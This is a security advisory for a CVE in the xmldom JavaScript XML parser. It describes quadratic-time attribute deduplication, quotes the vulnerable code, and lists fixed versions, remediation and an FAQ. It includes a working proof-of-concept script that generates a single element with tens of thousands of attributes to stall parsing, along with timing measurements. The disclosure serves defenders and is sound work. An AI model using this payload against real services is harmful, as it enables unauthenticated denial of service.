CVE-2026-83613: xmldom: Quadratic-time attribute deduplication

Published Sep 1, 2026
·
Updated

Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM NamedNodeMap. Each insertion first performs a linear scan of all already-inserted attributes to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries M distinct attributes therefore costs 1 + 2 + … + M = O(M²) comparisons.

Because the trigger is simply "one element with many attributes", the attack payload is a fully well-formed XML document. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero warning/error/fatalError events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it does not require any namespace declarations or nesting.

Details

The DOM content handler adds each attribute of a starting element by calling el.setAttributeNode(attr) in a loop:

js // DOMHandler.startElement for (var i = 0; i < len; i++) { var namespaceURI = attrs.getURI(i); var value = attrs.getValue(i); var qName = attrs.getQName(i); var attr = doc.createAttributeNS(namespaceURI, qName); attr.value = attr.nodeValue = value; el.setAttributeNode(attr); // O(existing attrs) each — see below }

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look for an existing attribute with the same namespace URI and local name before appending:

js setNamedItem: function (attr) { var el = attr.ownerElement; if (el && el !== this.ownerElement) { throw new DOMException(DOMException.INUSEATTRIBUTEERR); } var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName); // linear scan if (oldAttr === attr) { return attr; } addNamedNode(this.ownerElement, this, attr, oldAttr); return oldAttr; },

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

getNamedItemNS walks the whole list on every call:

js getNamedItemNS: function (namespaceURI, localName) { if (!namespaceURI) { namespaceURI = null; } var i = 0; while (i < this.length) { var node = this[i]; if (node.localName === localName && node.namespaceURI === namespaceURI) { return node; } i++; } return null; },

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure.

The same structure exists on 0.8.x. There setNamedItem dedups via getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear scan, so the complexity is identical:

- startElement loop / setAttributeNode: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176 - setNamedItem → linear getNamedItem: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308

The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the unscoped xmldom package back to its earliest published release. In xmldom@0.1.0, parsing already inserts each attribute one at a time (DOMHandler.startElement loops calling setAttributeNS → setAttributeNode → NamedNodeMap.setNamedItem), and setNamedItem dedups by calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted attributes — the identical O(M²) structure. The whole unscoped line (0.1.0 … 0.6.0) is therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert linear dedup scan.

Proof of Concept

A single well-formed element with M distinct attributes. No malformed markup and no options:

js 'use strict'; var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) { var parts = new Array(m); for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"'; return '<r ' + parts.join(' ') + '/>'; // <r a0="x" a1="x" ... a{M-1}="x"/> }

for (var i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; i < sizes.length; i++) { var m = sizes[i]; var xml = buildDoc(m); var t0 = process.hrtime.bigint(); var doc = new DOMParser().parseFromString(xml, 'text/xml'); // silent: no error events var ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' + doc.documentElement.attributes.length); }

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the load-bearing fact):

@xmldom/xmldom 0.9.10:

| M (attributes) | input bytes | time (ms) | ratio vs prev | |---:|---:|---:|---:| | 2000 | 18,894 | 13.4 | — | | 4000 | 38,894 | 38.7 | ×2.9 | | 8000 | 78,894 | 100.8 | ×2.6 | | 16000 | 164,894 | 406.2 | ×4.0 | | 32000 | 340,894 | 2149.5 | ×5.3 |

@xmldom/xmldom 0.8.13:

| M (attributes) | input bytes | time (ms) | |---:|---:|---:| | 2000 | 18,894 | 10.6 | | 4000 | 38,894 | 19.9 | | 8000 | 78,894 | 75.9 | | 16000 | 164,894 | 657.7 | | 32000 | 340,894 | 1643.2 |

xmldom (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of M — quadratic. About 340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire.

Impact

Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.

Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of requireWellFormed; ships on both maintained versions.

Other sources

xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.

— MITRE

xmldom: Quadratic-time attribute deduplication

— Microsoft

Affected Software

6 affected componentsFixes available
npm/@xmldom/xmldom>0.8.15<
npm/@xmldom/xmldom<0.8.15
npm/@xmldom/xmldom<0.9.12
npm/xmldom<=0.6.0
npm/@xmldom/xmldom>=0.9.0<=0.9.11
0.9.12
npm/@xmldom/xmldom>=0.7.0<=0.8.14
0.8.15

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@xmldom/xmldom to a version that resolves this vulnerability.

    Fixed in 0.9.12
  2. Upgrade

    Upgrade npm/@xmldom/xmldom to a version that resolves this vulnerability.

    Fixed in 0.8.15
  3. Upgrade

    Upgrade @xmldom/xmldom to a version that resolves this vulnerability.

    Fixed in 0.8.15
  4. Upgrade

    Upgrade @xmldom/xmldom to a version that resolves this vulnerability.

    Fixed in 0.9.12
  5. Compensating control

    If you use the unscoped xmldom package (version 0.6.0 and earlier / 0.1.0 … 0.6.0 per description), implement an external mitigation that limits the size/complexity of XML/HTML attribute lists before parsing (e.g., reject requests containing an element with many distinct attributes) to prevent O(M²) CPU consumption during DOMParser.parseFromString().

Event History

Sep 1, 2026
CVE Published
via MITRE·02:38 PM
Data Sourced
via MITRE·02:38 PM
DescriptionWeakness
Data Sourced
via NVD·03:17 PM
DescriptionSeverityWeakness
Sep 7, 2026
Data Sourced
via Microsoft·09:02 AM
DescriptionSeverityWeakness
Sep 8, 2026
Advisory Published
via GitHub·09:01 PM
Data Sourced
via GitHub·09:01 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are realistically exposed to denial of service?

Applications that parse attacker-controlled or otherwise untrusted XML with DOMParser.parseFromString() are exposed. A single well-formed XML element containing many distinct attributes can stall the Node.js event loop before application-level validation runs.

2

What must an attacker provide to trigger the issue?

The attacker needs to cause the application to parse a well-formed XML document containing an element with many distinct attributes. No malformed XML is required.

3

Are fixed versions available for all affected package lines?

Fixed releases are available for @xmldom/xmldom 0.8.15 and 0.9.12. No fixed version is available for the xmldom package; version 0.6.0 and earlier are affected.

4

What can be done if an immediate upgrade is not possible?

Avoid parsing untrusted XML with the affected parser, or reject inputs with excessive attribute counts before they reach DOMParser.parseFromString(). Application validation after parsing does not prevent the event-loop stall.

Contact

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